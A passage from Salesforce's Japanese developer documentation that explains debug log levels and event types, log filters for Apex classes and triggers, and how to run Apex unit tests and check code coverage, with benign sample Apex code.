各デバッグレベルには、ログカテゴリごとに次のいずれかのログレベルが含まれます。レベルは、低いものか
ら順に並べてあります。特定のイベントはカテゴリおよびレベルの組み合わせに基づいてログ記録されます。
多くのイベントの INFO レベルでのログ記録が開始されます。レベルは累積です。つまり、FINE を選択すると、
ログには、DEBUG、INFO、WARN および ERROR レベルでログ記録されたすべてのイベントも含まれます。

メモ: すべてのレベルがすべてのカテゴリに使用できるわけではありません。1 つまたは複数のイベント
に対応するレベルだけです。

• NONE

• ERROR

• WARN

• INFO

• DEBUG

• FINE

• FINER

• FINEST

重要: リリースを実行する前に、Apex コードログレベルが FINEST に設定されていないことを確認します。
FINEST に設定されていると、リリースにかかる時間が予想よりも長くなる可能性があります。開発者コン
ソールが開いている場合、リリース中に作成されたログを含むすべてのログに開発者コンソールのログ
レベルが影響します。

デバッグイベントの種別
次は、デバッグログに記録される内容の例です。イベントは USER_DEBUG です。形式は timestamp  | イベン
ト識別子 です。
• タイムスタンプ: イベント発生時の時刻と括弧で囲まれた値で構成されます。時刻はユーザのタイムゾーン

で、形式は HH:mm:ss.SSSとなります。括弧内の値は、要求が開始されてからの経過時間をナノ秒単位で
表します。[Execution Log (実行ログ)] ビューを使用すると、経過時間の値は開発者コンソールで確認したログ
には含まれません。ただし、[Raw Log (未加工ログ)] ビューを使用すると、経過時間を確認できます。[Raw

Log (未加工ログ)] ビューを開くには、開発者コンソールの [Logs (ログ)] タブからログの名前を右クリックし、
[Open Raw Log (未加工のログを開く)] を選択します。

• イベント識別子: デバッグログエントリをトリガしたイベントを指定します (SAVEPOINT_RESET や
VALIDATION_RULEなど)。コードが実行されたメソッド名、または行番号と文字番号など、そのイベント
で記録された詳細情報も含まれます。

次に、デバッグログ行の例を示します。
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デバッグログの行の例

この例では、イベント識別子は次の内容で構成されます。
• イベントの名前:

USER_DEBUG

• コードのイベントの行番号:

[2]

• System.Debug メソッドが設定されたログレベル:

DEBUG

• System.Debug メソッドのユーザ入力の文字列:

Hello world!

このコードスニペットにより、次のようなログの行の例が生成されます。

デバッグログの行のコードスニペット

次のログの行は、テストがコードの行 5 に達した場合に記録されます。
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

この例では、イベント識別子は次の内容で構成されます。
• イベントの名前:

DML_BEGIN

• コードのイベントの行番号:

[5]
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• DML 操作種別:Insert:

Op:Insert

• オブジェクト名:

Type:Invoice_Statement__c

• DML 操作に渡される行数:

Rows:1

次の表は、記録されるイベントの種別の一覧です。この表では、イベントの種別ごとに、各イベントでどの項
目やその他の情報が記録されるか、およびログレベルとカテゴリのどのような組み合わせによってイベントが
記録されるかを示しています。

記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

FINESTApex コー
ド

割り当てられたバイト数BULK_HEAP_ALLOCATE

INFO 以上コールア
ウト

行番号、要求ヘッダーCALLOUT_REQUEST

INFO 以上コールア
ウト

外部エンドポイントおよびメソッドCALLOUT_REQUEST

(Salesforce Connectの OData アダプタを使用
した外部オブジェクトへのアクセス)

INFO 以上コールア
ウト

行番号、レスポンスボディCALLOUT_RESPONSE

INFO 以上コールア
ウト

状況および状況コードCALLOUT_RESPONSE

(Salesforce Connectの OData アダプタを使用
した外部オブジェクトへのアクセス)

ERROR 以上Apex コー
ド

なしCODE_UNIT_FINISHED

ERROR 以上Apex コー
ド

MyTrigger on Account trigger event

BeforeInsert for [new] などの、行番
号およびコードユニット名

CODE_UNIT_STARTED

FINE 以上Apex コー
ド

行番号、Apexクラス ID、文字列 <init>()

(パラメータがある場合は括弧内にパラメー
タの種別)

CONSTRUCTOR_ENTRY

FINE 以上Apex コー
ド

行番号および文字列 <init>()  (パラメータ
がある場合は括弧内にパラメータの種別)

CONSTRUCTOR_EXIT
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

INFO 以上Apex プロ
ファイリ
ング

なしCUMULATIVE_LIMIT_USAGE

INFO 以上Apex プロ
ファイリ
ング

なしCUMULATIVE_LIMIT_USAGE_END

FINE 以上Apex プロ
ファイリ
ング

なしCUMULATIVE_PROFILING

FINE 以上Apex プロ
ファイリ
ング

なしCUMULATIVE_PROFILING_BEGIN

FINE 以上Apex プロ
ファイリ
ング

なしCUMULATIVE_PROFILING_END

INFO 以上DB行番号、操作 (Insert、Update など)、レ
コード名またはレコードタイプ、DML 操作
に渡される行数

DML_BEGIN

INFO 以上DB行番号DML_END

INFO 以上Apex コー
ド

行番号EMAIL_QUEUE

INFO 以上Apex コー
ド

パッケージ名前空間ENTERING_MANAGED_PKG

INFO 以上Apex コー
ド

行番号、例外種別、メッセージEXCEPTION_THROWN

ERROR 以上Apex コー
ド

なしEXECUTION_FINISHED

ERROR 以上Apex コー
ド

なしEXECUTION_STARTED

ERROR 以上Apex コー
ド

例外種別、メッセージ、スタック追跡FATAL_ERROR
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

FINER 以上ワークフ
ロー

インタビュー ID、要素名、アクション種
別、アクション Enum または ID、アクショ
ンコールが成功したかどうか、エラーメッ
セージ

FLOW_ACTIONCALL_DETAIL

FINER 以上ワークフ
ロー

インタビュー ID、参照、演算子、値FLOW_ASSIGNMENT_DETAIL

FINE 以上ワークフ
ロー

インタビュー ID、要素の種類FLOW_BULK_ELEMENT_BEGIN

FINER 以上ワークフ
ロー

インタビュー ID、要素の種類、要素名、レ
コードの数、実行時間

FLOW_BULK_ELEMENT_DETAIL

FINE 以上ワークフ
ロー

インタビュー ID、要素の種類、要素名、レ
コードの数

FLOW_BULK_ELEMENT_END

INFO 以上ワークフ
ロー

組織 ID、定義 ID、バージョン IDFLOW_CREATE_INTERVIEW_BEGIN

INFO 以上ワークフ
ロー

インタビュー ID、フロー名FLOW_CREATE_INTERVIEW_END

ERROR 以上ワークフ
ロー

メッセージ、組織 ID、定義 ID、バージョン
ID

FLOW_CREATE_INTERVIEW_ERROR

FINE 以上ワークフ
ロー

インタビュー ID、要素の種類、要素名FLOW_ELEMENT_BEGIN

FINE 以上ワークフ
ロー

要素の種類および要素名FLOW_ELEMENT_DEFERRED

FINE 以上ワークフ
ロー

インタビュー ID、要素の種類、要素名FLOW_ELEMENT_END

ERROR 以上ワークフ
ロー

メッセージ、要素の種類、要素名 (フロー実
行時例外)

FLOW_ELEMENT_ERROR

ERROR 以上ワークフ
ロー

メッセージ、要素の種類、要素名 (スパーク
該当なし)

FLOW_ELEMENT_ERROR

ERROR 以上ワークフ
ロー

メッセージ、要素の種類、要素名 (デザイナ
例外)

FLOW_ELEMENT_ERROR

ERROR 以上ワークフ
ロー

メッセージ、要素の種類、要素名 (デザイナ
制限数超過)

FLOW_ELEMENT_ERROR
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

ERROR 以上ワークフ
ロー

メッセージ、要素の種類、要素名 (デザイナ
実行時例外)

FLOW_ELEMENT_ERROR

WARNING 以
上

ワークフ
ロー

メッセージ、要素の種類、要素名 (障害パス
の取得)

FLOW_ELEMENT_FAULT

INFO 以上ワークフ
ロー

インタビュー ID、フロー名、ユーザが一時
停止した理由

FLOW_INTERVIEW_PAUSED

INFO 以上ワークフ
ロー

インタビュー ID、フロー名FLOW_INTERVIEW_RESUMED

FINER 以上ワークフ
ロー

インタビュー ID、インデックス、値
インデックスは、ループが機能する項目の
コレクション変数の位置です。

FLOW_LOOP_DETAIL

FINER 以上ワークフ
ロー

インタビュー ID、ルール名、結果FLOW_RULE_DETAIL

INFO 以上ワークフ
ロー

インタビュー ID、フロー名FLOW_START_INTERVIEW_BEGIN

INFO 以上ワークフ
ロー

インタビュー ID、フロー名FLOW_START_INTERVIEW_END

INFO 以上ワークフ
ロー

要求FLOW_START_INTERVIEWS_BEGIN

INFO 以上ワークフ
ロー

要求FLOW_START_INTERVIEWS_END

ERROR 以上ワークフ
ロー

メッセージ、インタビュー ID、フロー名FLOW_START_INTERVIEWS_ERROR

FINER 以上ワークフ
ロー

インタビュー ID、名前、定義 ID、バージョ
ン ID

FLOW_SUBFLOW_DETAIL

FINER 以上ワークフ
ロー

インタビュー ID、キー、値FLOW_VALUE_ASSIGNMENT

FINER 以上ワークフ
ロー

インタビュー ID、要素名、イベント名、イ
ベント種別

FLOW_WAIT_EVENT_RESUMING_DETAIL

FINER 以上ワークフ
ロー

インタビュー ID、要素名、イベント名、イ
ベント種別、条件が満たされたかどうか

FLOW_WAIT_EVENT_WAITING_DETAIL

FINER 以上ワークフ
ロー

インタビュー ID、要素名、保持されたイン
タビュー ID

FLOW_WAIT_RESUMING_DETAIL
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

FINER 以上ワークフ
ロー

インタビュー ID、要素名、要素が待機して
いるイベントの数、保持されたインタ
ビュー ID

FLOW_WAIT_WAITING_DETAIL

FINER 以上Apex コー
ド

行番号、バイト数HEAP_ALLOCATE

FINER 以上Apex コー
ド

割り当て解除された行番号およびバイト数HEAP_DEALLOCATE

FINESTDB行番号IDEAS_QUERY_EXECUTE

FINESTApex プロ
ファイリ
ング

名前空間および次の制限:

Number of SOQL queries

LIMIT_USAGE_FOR_NS

Number of query rows

Number of SOSL queries

Number of DML statements

Number of DML rows

Number of code statements

Maximum heap size

Number of callouts

Number of Email Invocations

Number of fields describes

Number of record type describes

Number of child relationships

describes

Number of picklist describes

Number of future calls

Number of find similar calls

Number of System.runAs()

invocations
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

FINE 以上Apex コー
ド

行番号、クラスの Force.com ID、メソッドの
署名

METHOD_ENTRY

FINE 以上Apex コー
ド

行番号、クラスの Force.com ID、メソッドの
署名
コンストラクタの場合、行番号、クラス名
が記録されます。

METHOD_EXIT

INFO 以上システム行番号、ログレベルが設定されているか、
範囲にこれから入るクラスまたはトリガの

POP_TRACE_FLAGS

Force.com ID、このクラスまたはトリガの名
前、この範囲から出た後に有効になったロ
グレベル設定

ERRORApex コー
ド

アプリケーションの名前空間、アプリケー
ション名。
Apex コードで、組織に存在しないアプリ
ケーションまたは転送対応でないアプリ

PUSH_NOTIFICATION_INVALID_APP

ケーションに通知を送信しようとするとこ
のイベントが発生します。

ERRORApex コー
ド

アプリケーションの名前空間、アプリケー
ション名。
このイベントは、証明書が無効であること
を示します。たとえば、期限切れなどで
す。

PUSH_NOTIFICATION_INVALID_CERTIFICATE

ERRORApex コー
ド

アプリケーションの名前空間、アプリケー
ション名、サービス種別 (Apple または
Android GCM)、ユーザ ID、デバイス、ペイ
ロード (サブ文字列)、ペイロード長。
このイベントは、通知ペイロードが長すぎ
る場合に発生します。

PUSH_NOTIFICATION_INVALID_NOTIFICATION

DEBUGApex コー
ド

アプリケーションの名前空間、アプリケー
ション名。
このイベントは、通知の送信対象ユーザに
デバイスを登録していているユーザがいな
い場合に発生します。

PUSH_NOTIFICATION_NO_DEVICES
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

INFOApex コー
ド

このイベントは、組織で転送通知が有効に
なっていない場合に発生します。

PUSH_NOTIFICATION_NOT_ENABLED

DEBUGApex コー
ド

アプリケーションの名前空間、アプリケー
ション名、サービス種別 (Apple または
Android GCM)、ユーザ ID、デバイス、ペイ
ロード (サブ文字列)

このイベントでは、通知の送信が承諾され
たことが記録されます。通知の送信が保証
されるわけではありません。

PUSH_NOTIFICATION_SENT

INFO 以上システム行番号、ログレベルが設定されているか、
範囲から出ていくクラスまたはトリガの

PUSH_TRACE_FLAGS

Force.com ID、このクラスまたはトリガの名
前、この範囲に入った後に有効になったロ
グレベル設定

INFO 以上DB行番号QUERY_MORE_BEGIN

INFO 以上DB行番号QUERY_MORE_END

INFO 以上DB行番号、queryMore 反復数QUERY_MORE_ITERATIONS

INFO 以上DB行番号、Savepoint 名SAVEPOINT_ROLLBACK

INFO 以上DB行番号、Savepoint 名SAVEPOINT_SET

INFO 以上ワークフ
ロー

ケース数、読み込み時間、処理時間、挿入/

更新/削除するケースのマイルストンの数、
新しいトリガ

SLA_END

INFO 以上ワークフ
ロー

マイルストン IDSLA_EVAL_MILESTONE

INFO 以上ワークフ
ロー

なしSLA_NULL_START_DATE

INFO 以上ワークフ
ロー

ケース IDSLA_PROCESS_CASE

INFO 以上DB行番号、集計数、クエリソースSOQL_EXECUTE_BEGIN

INFO 以上DB行番号、行数、期間 (ミリ秒)SOQL_EXECUTE_END

INFO 以上DB行番号、クエリソースSOSL_EXECUTE_BEGIN

INFO 以上DB行番号、行数、期間 (ミリ秒)SOSL_EXECUTE_END
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

FINE 以上Apex プロ
ファイリ
ング

フレーム番号、次の形式の変数リスト:変数
番号  | 値。次に例を示します。
var1:50

var2:'Hello World'

STACK_FRAME_VARIABLE_LIST

FINER 以上Apex コー
ド

行番号STATEMENT_EXECUTE

FINE 以上Apex プロ
ファイリ
ング

次の形式の変数リスト:変数番号  | 値。次に
例を示します。
var1:50

var2:'Hello World'

STATIC_VARIABLE_LIST

FINE 以上システム行番号および文字列 <init>()  (パラメータ
がある場合は括弧内にパラメータの種別)

SYSTEM_CONSTRUCTOR_ENTRY

FINE 以上システム行番号および文字列 <init>()  (パラメータ
がある場合は括弧内にパラメータの種別)

SYSTEM_CONSTRUCTOR_EXIT

FINE 以上システム行番号、メソッドの署名SYSTEM_METHOD_ENTRY

FINE 以上システム行番号、メソッドの署名SYSTEM_METHOD_EXIT

INFO 以上システムモード名SYSTEM_MODE_ENTER

INFO 以上システムモード名SYSTEM_MODE_EXIT

INFO 以上Apex プロ
ファイリ
ング

なしTESTING_LIMITS

FINE 以上Apex プロ
ファイリ
ング

送信メール数TOTAL_EMAIL_RECIPIENTS_QUEUED

デフォルト
では DEBUG

Apex コー
ド

行番号、ログレベル、ユーザ入力の文字列USER_DEBUG

以上。ユー
ザが
System.Debug

メソッドの
ログレベル
を設定する
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

と、イベン
トはこのレ
ベルでログ
記録されま
す。

INFO 以上入力規則エラーメッセージVALIDATION_ERROR

INFO 以上入力規則なしVALIDATION_FAIL

INFO 以上入力規則数式ソース、値VALIDATION_FORMULA

INFO 以上入力規則なしVALIDATION_PASS

INFO 以上入力規則ルール名VALIDATION_RULE

FINESTApex コー
ド

行番号、変数名、変数の値の文字列表現、
変数のアドレス

VARIABLE_ASSIGNMENT

FINESTApex コー
ド

行番号、変数名、型、変数が参照可能かど
うかを示す値、変数が静的かどうかを示す
値

VARIABLE_SCOPE_BEGIN

FINESTApex コー
ド

なしVARIABLE_SCOPE_END

INFO 以上Apex コー
ド

要素名、メソッド名、戻り値のデータ型VF_APEX_CALL

INFO 以上Visualforceビューステート IDVF_DESERIALIZE_VIEWSTATE_BEGIN

INFO 以上VisualforceなしVF_DESERIALIZE_VIEWSTATE_END

FINER 以上Visualforceビューステート ID、数式VF_EVALUATE_FORMULA_BEGIN

FINER 以上VisualforceなしVF_EVALUATE_FORMULA_END

INFO 以上Apex コー
ド

メッセージテキストVF_PAGE_MESSAGE

INFO 以上Visualforceビューステート IDVF_SERIALIZE_VIEWSTATE_BEGIN

INFO 以上VisualforceなしVF_SERIALIZE_VIEWSTATE_END

INFO 以上ワークフ
ロー

アクションの説明WF_ACTION

INFO 以上ワークフ
ロー

ToDo 件名、アクション ID、ルール、所有
者、期日

WF_ACTION_TASK
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

INFO 以上ワークフ
ロー

実行されたアクションの概要WF_ACTIONS_END

INFO 以上ワークフ
ロー

トランザクションタイプ、EntityName:

NameField Id、プロセスノード名
WF_APPROVAL

INFO 以上ワークフ
ロー

EntityName: NameField IdWF_APPROVAL_REMOVE

INFO 以上ワークフ
ロー

EntityName: NameField IdWF_APPROVAL_SUBMIT

INFO 以上ワークフ
ロー

所有者、割り当て先テンプレート IDWF_ASSIGN

INFO 以上ワークフ
ロー

EntityName: NameField Id、ルール名、
ルール ID、トリガの種類 (ルールがトリガの
種類を重視する場合)

WF_CRITERIA_BEGIN

INFO 以上ワークフ
ロー

成功を示す Boolean 値 (true または false)WF_CRITERIA_END

INFO 以上ワークフ
ロー

アクション ID、ルールWF_EMAIL_ALERT

INFO 以上ワークフ
ロー

メールテンプレート ID、受信者、CC メールWF_EMAIL_SENT

INFO 以上ワークフ
ロー

エンキューされたアクションの概要WF_ENQUEUE_ACTIONS

INFO 以上ワークフ
ロー

ケース ID、営業時間WF_ESCALATION_ACTION

INFO 以上ワークフ
ロー

なしWF_ESCALATION_RULE

INFO 以上ワークフ
ロー

プロセス名、メールテンプレート ID、結果
を示す Boolean 値 (true または false)

WF_EVAL_ENTRY_CRITERIA

INFO 以上ワークフ
ロー

EntityName: NameField Id、オブジェ
クトまたは項目名

WF_FIELD_UPDATE

INFO 以上ワークフ
ロー

数式ソース、値WF_FORMULA

INFO 以上ワークフ
ロー

なしWF_HARD_REJECT
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

INFO 以上ワークフ
ロー

所有者、次の所有者の種類、項目WF_NEXT_APPROVER

INFO 以上ワークフ
ロー

なしWF_NO_PROCESS_FOUND

INFO 以上ワークフ
ロー

EntityName: NameField Id、アクショ
ン ID、ルール

WF_OUTBOUND_MSG

INFO 以上ワークフ
ロー

プロセス名WF_PROCESS_NODE

INFO 以上ワークフ
ロー

EntityName: NameField Id および所有
者

WF_REASSIGN_RECORD

INFO 以上ワークフ
ロー

通知者名、通知者のメール、通知者テンプ
レート ID

WF_RESPONSE_NOTIFY

INFO 以上ワークフ
ロー

順序を示す整数WF_RULE_ENTRY_ORDER

INFO 以上ワークフ
ロー

ルールタイプWF_RULE_EVAL_BEGIN

INFO 以上ワークフ
ロー

なしWF_RULE_EVAL_END

INFO 以上ワークフ
ロー

値WF_RULE_EVAL_VALUE

INFO 以上ワークフ
ロー

検索条件WF_RULE_FILTER

INFO 以上ワークフ
ロー

EntityName: NameField IdWF_RULE_INVOCATION

INFO 以上ワークフ
ロー

なしWF_RULE_NOT_EVALUATED

INFO 以上ワークフ
ロー

プロセス名WF_SOFT_REJECT

INFO 以上ワークフ
ロー

ノードタイプWF_SPOOL_ACTION_BEGIN

INFO 以上ワークフ
ロー

EntityName: NameField Id、タイムア
クション、タイムアクションコンテナ、評
価の日時

WF_TIME_TRIGGER
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記録される
レベル

記録され
るカテゴ
リ

イベントと共に記録される項目または情報イベントの名前

INFO 以上ワークフ
ロー

なしWF_TIME_TRIGGERS_BEGIN

関連トピック:

デバッグログの設定
Apex クラスおよび Apex トリガ用デバッグログの検索条件

デバッグログの検索
デバッグログ内のテキストを検索するには、開発者コンソールのコマンドラインウィンドウを使用します。
検索する前に、コマンドラインウィンドウから Apex ステートメントを実行してログを生成する必要がありま
す。
1. コマンドラインウィンドウを開くには、Ctrl+L キーを押します。
2. 次のように Apex コードを実行してログを作成します。

• コマンドラインにApexステートメントを入力するには、exec <Apex ステートメント>と入力します。
次に例を示します。
exec List<Account> accts = new List<Account>();
for (Integer i=0; i<20; i++){
Account a = new Account(name='Account Name ' + i);
accts.add(a);
}

• [Enter Apex Code (Apex コードを入力)] ウィンドウにすでに入力したコードを実行するには、exec -r と入
力します。

3. ログが生成された後、指定したテキストを検索するには、find <string> と入力します。
たとえば、find Account Name のように入力します。
コマンドラインウィンドウに検索結果が表示されます。

4. コマンドラインウィンドウを閉じるには、Ctrl+L キーを押します。

関連トピック:

開発者コンソールコマンドラインリファレンス
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Apex クラスおよび Apex トリガ用デバッグログの検索条件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Apex クラスおよびトリガ用デバッグログの検索条件の設定
デバッグログの検索条件により、ログの冗長性をトリガおよびクラスレベルで
微調整できます。これはApexロジックのデバッグ時に特に便利です。たとえば、
複雑なプロセスの出力を評価する場合、1 つの要求内で特定のクラスのログの冗
長性を上げ、他のクラスまたはトリガのログをオフにすることができます。
クラスまたはトリガのデバッグログレベルを上書きすると、これらのデバッグ
レベルは、クラスまたはトリガが呼び出すクラスメソッドと、結果として実行
されるトリガにも適用されます。実行パス内のすべてのクラスメソッドとトリ
ガは、これらのデバッグログ設定を上書きする場合を除き、呼び出し側から継
承します。
次の図は、クラスおよびトリガレベルで上書きされるデバッグログレベルを示
しています。このシナリオでは、Class1が何らかの問題を起こし、詳しい調査が必要であるとします。この
ために、Class1 のデバッグログレベルが最も詳細なレベルに引き上げられます。Class3 ではこのログレベ
ルが上書きされないため、Class1の詳細なログレベルが継承されます。ただし、UtilityClassはすでにテ
ストされ、正しく動作することがわかっているため、ログの検索条件はオフになっています。同様に、Class2

は問題の原因であるコードパスに含まれていないため、ログは最小限に抑えられ、Apex コードカテゴリのエ
ラーのみを記録します。Trigger2 は、Class2 からこれらのログ設定を継承します。

クラスおよびトリガ用デバッグログの微調整

この図のもとになった擬似コード例を次に示します。
1. Trigger1 が Class1 のメソッドと Class2 の別のメソッドを呼び出します。例:

trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();

}
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2. Class1 は Class3 のメソッドを呼び出し、このメソッドが次にユーティリティクラスのメソッドを呼び
出します。例:

public class Class1 {
public static void someMethod() {

Class3.thirdMethod();
}

}

public class Class3 {
public static void thirdMethod() {

UtilityClass.doSomething();
}

}

3. Class2 によってトリガ Trigger2 の実行が起動されます。例:

public class Class2 {
public static void anotherMethod() {

// Some code that causes Trigger2 to be fired.
}

}

関連トピック:

デバッグログの設定
デバッグログレベル

変更のテスト

テストはアプリケーション成功の鍵となるもので、アプリケーションをお客様にリリースする場合は特に重要
です。アプリケーションが期待どおりに機能し、予期せぬ動作がないことを検証することで、お客様からの信
頼が高まります。

Apex 単体テスト
メソッド、クラス、クラスのセット、組織全体の単体テストを実行します。
Apex テストの実行
実行する Apex テストを選択し、結果の確認、エラーメッセージの分析、およびソース Apex コードの調査を
行います。
開発者コンソールでのテストの実行
開発者コンソールを使用して、テスト実行の設定、テストの実行、Apex コードカバー率のチェックを行い
ます。

関連トピック:

匿名 Apex コードの実行
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Apex 単体テスト
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

管理パッケージは、
Database.com Edition では
利用できません。

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

メソッド、クラス、クラスのセット、組織全体の単体テストを実行します。
次のグルーピングによる単体テストを実行できます。
• 特定のクラスの一部または全部のメソッド
• クラスのセットの一部または全部のメソッド
• 定義済みのクラスのスイート (「テストスイート」と呼ばれる)

• 組織のすべての単体テスト
Salesforce ユーザインターフェースから開始される Apex テストは並列して実施さ
れます。ユーザインターフェースから開始されるテスト実行は非同期です (ただ
し、テスト実行に含まれるクラスが 1 つのみで、開発者コンソールの [Test (テス
ト)] メニューで [Always Run Asynchronously (常に非同期に実行)]を選択していない
場合を除く)。Apexテストクラスは、Apexジョブキューに配置されてから実行さ
れます。24 時間あたりに実行できるテストクラスの最大数は、500 または (10 x

組織のテストクラス数) の大きい方です。Sandbox 組織および Developer Edition 組織
の場合は、この制限が500 または 20 x 組織のテストクラス数の大きい方になりま
す。

単体テストによるコードカバー率
作成したコードをリリースしたり Force.com AppExchangeにパッケージしたりする
前に、次の条件を満たす必要があります。
• Apexコードの少なくとも 75% が単体テストでカバーされており、かつすべて

のテストが成功している。
次の点に注意してください。
– 本番組織に Apex をリリースするときに、組織の名前空間内の各単体テストがデフォルトで実行されま

す。
– System.debug へのコールは、Apex コードカバー率の対象とはみなされません。
– テストメソッドとテストクラスは、Apex コードカバー率の対象とはみなされません。
– Apexコードの 75% が単体テストでカバーされている必要がありますが、カバー率を上げることだけに集

中すべきではありません。アプリケーションのすべてのユースケース (正・誤両方の場合や単一データ
だけでなく複数データの場合) の単体テストを作成するようにしてください。このような多様なユース
ケースのテストコードを実装することが 75% 以上のカバー率につながります。

• すべてのトリガについて何らかのテストを行う。
• すべてのクラスとトリガが正常にコンパイルされる。
自分のテストによって別のクラスが呼び出された場合、またはトリガが実行された場合は、そのクラスまたは
トリガもコードカバー率の計算に含まれます。
テストの実行後、開発者コンソールでコードカバー率の結果を表示することができます。
コードカバー率の結果を生成するには、最初に次のいずれかの方法でテストを実行します。
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• 開発者コンソールからすべてのテストを実行するには、[Test (テスト)] > [Run All (すべて実行)] を選択しま
す。テストのサブセットを実行した場合、コードカバー率の結果が適切に更新されないことがあるため、
コードカバー率を確認する最もよい方法はすべてのテストを実行することです。

• 開発者コンソールからテストを選択して実行する場合は、「テスト実行の作成」を参照してください。
• 開発者コンソールから再利用可能なテストスイートを設定する場合は、「テストスイートを使用した Apex

テストクラスセットの管理」を参照してください。
• [設定] からすべてのテストを実行するには、[クイック検索] ボックスにApexと入力し、[Apex クラス] を選

択して、[すべてのテストを実行] をクリックします。
• [設定] から個々のクラスのテストを実行するには、[クイック検索] ボックスにApexと入力し、[Apex テス

ト実行] を選択します。[テストを選択] をクリックし、実行するテストを含むクラスを選択してから、[実
行] をクリックします。

テストの実行後、開発者コンソールにコードカバー率の結果を表示できます。この結果には、テスト対象とな
る個々のクラスまたはトリガのコードの行が示されます。「コードカバー率のチェック」を参照してくださ
い。

関連トピック:

Apex テストの実行
Apex 開発者ガイド: コードカバー率のベストプラクティス

Apex テストの実行
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

実行する Apex テストを選択し、結果の確認、エラーメッセージの分析、および
ソース Apex コードの調査を行います。
1. [設定] から、[クイック検索]ボックスに「Apex テスト実行」と入力し、[Apex

テスト実行] を選択します。
2. [テストを選択...] をクリックします。

メモ: 管理パッケージからインストールされたApexクラスがある場合、
最初に [Apexクラス] ページの [すべてのクラスをコンパイル]をクリック
してこれらのクラスをコンパイルしてリストに表示されるようにする必
要があります。「Apexクラスの管理」 (ページ6587)を参照してください。

3. 実行するテストを選択します。テストのリストには、テストメソッドが含ま
れるクラスのみが表示されます。
• インストール済み管理パッケージからテストを選択するには、管理パッケージの対応する名前空間をド

ロップダウンリストから選択します。リストには、選択した名前空間の管理パッケージのクラスのみ表
示されます。

• 組織にローカルに存在するテストを選択するには、ドロップダウンリストから[私の名前空間]を選択し
ます。管理パッケージからインストールされたクラスを除くローカルクラスのみリストに表示されま
す。

• テストを選択するには、ドロップダウンリストから[すべての名前空間]を選択します。管理パッケージ
からインストールされたかどうかに関わらず、組織内のすべてのクラスが表示されます。
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メモ: テストが現在実行中のクラスは、リストに表示されません。

4. [実行] をクリックします。
実行するテストクラスを選択すると、選択したクラスは、実行時に Apex ジョブキューに配置されます。実行
用に選択できるテストクラスの最大数は、24 時間あたり、500 または (10 × 組織のテストクラス数) の大きい方
です。Sandbox 組織および Developer Edition 組織ではこの制限が緩和されており、500 または (20 x 組織のテストク
ラス数) の大きい方です。
テストの実行中、1 つ以上のテストを選択して [中止] をクリックできます。
テストの実行が終了すると、次のことができます。
• テストをクリックして結果の詳細を表示します。テストが失敗すると、最初のエラーメッセージとスタッ

ク追跡が表示されます。
• ソース Apex コードを表示するには、[表示] をクリックします。

メモ: テスト結果は、実行終了後 60 分間表示されます。

組織のすべてのテスト結果を表示するには、Apex テスト結果ページを使用します。[設定] から、[クイック検
索] ボックスにApexと入力し、[Apex テスト実行] を選択して、[テスト履歴を表示] をクリックします。
開発者コンソールを使用して、テスト実行に関する追加情報を参照する手順は、次のとおりです。
1. 開発者コンソールを開きます。
2. Apex テスト実行ページを使用して、テストを実行します。
3. 開発者コンソールを確認して、要求をステップスルーします。

テストの並列実行の無効化
Salesforceユーザインターフェース (開発者コンソールなど) から開始する複数のテストを並列して実施します。
テストを並列実行すると、テストの実行時間が短縮されます。テストの並列実行によってデータの競合の問題
が生じることがありますが、そうした場合には並列実行をオフにできます。データの競合の問題や
UNABLE_TO_LOCK_ROW エラーが生じる可能性があるのは、特に次のような場合です。
• テストで同じレコードが同時に更新される場合 — 同じレコードが更新されるのは、通常、テストが独自の

データを作成せず、データの分離をオフにして組織のデータにアクセスするときです。
• 並列して実行しているテストで、インデックス項目値が重複しているレコードを作成しようしてデッドロッ

クが発生する場合 — テストメソッドの実行が終了したときにテストデータがロールバックされます。デッ
ドロックが生じるのは、実行中の 2 つのテストが相互にデータのロールバックを待機している場合です。2

つのテストが、一意のインデックス項目値が同じレコードを異なる順序で挿入したときにこの状態が発生
します。

こうしたエラーが発生しないようにするには、Salesforceユーザインターフェースでテストの並列実行をオフに
します。
1. [設定] から、[クイック検索]ボックスに「Apex テスト実行」と入力し、[Apex テスト実行]を選択して、[オ

プション...] をクリックします。
2. [Apex テスト実行オプション] ダイアログで、[並列 Apex テストを無効化] を選択して、[OK] をクリックしま

す。
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テストデータについての詳細は、『Force.com Apexコード開発者ガイド』の「単体テストの組織データとテスト
データの分離」を参照してください。テストは引き続きApexテスト実行ページとは非同期に実行されるため、
テストの実行順序はこのオプションの影響を受けません。

Apex コードカバー率の結果の調査
Apexテスト実行ページを使用してテストを実行した後、開発者コンソールでコードカバー率の詳細を確認でき
ます。「コードカバー率のチェック」を参照してください。
Apex テスト実行ページの[組織のコードカバー率を見積る]を使用して取得されたコードカバー率の結果全体の
計算時間を短縮するには、[オプション...]をクリックし、[集計されたコードカバー率のみを保存]を選択して、
[OK] をクリックします。このオプションは、多くのテストと大量の Apexコードがある場合 (つまり、Apexテス
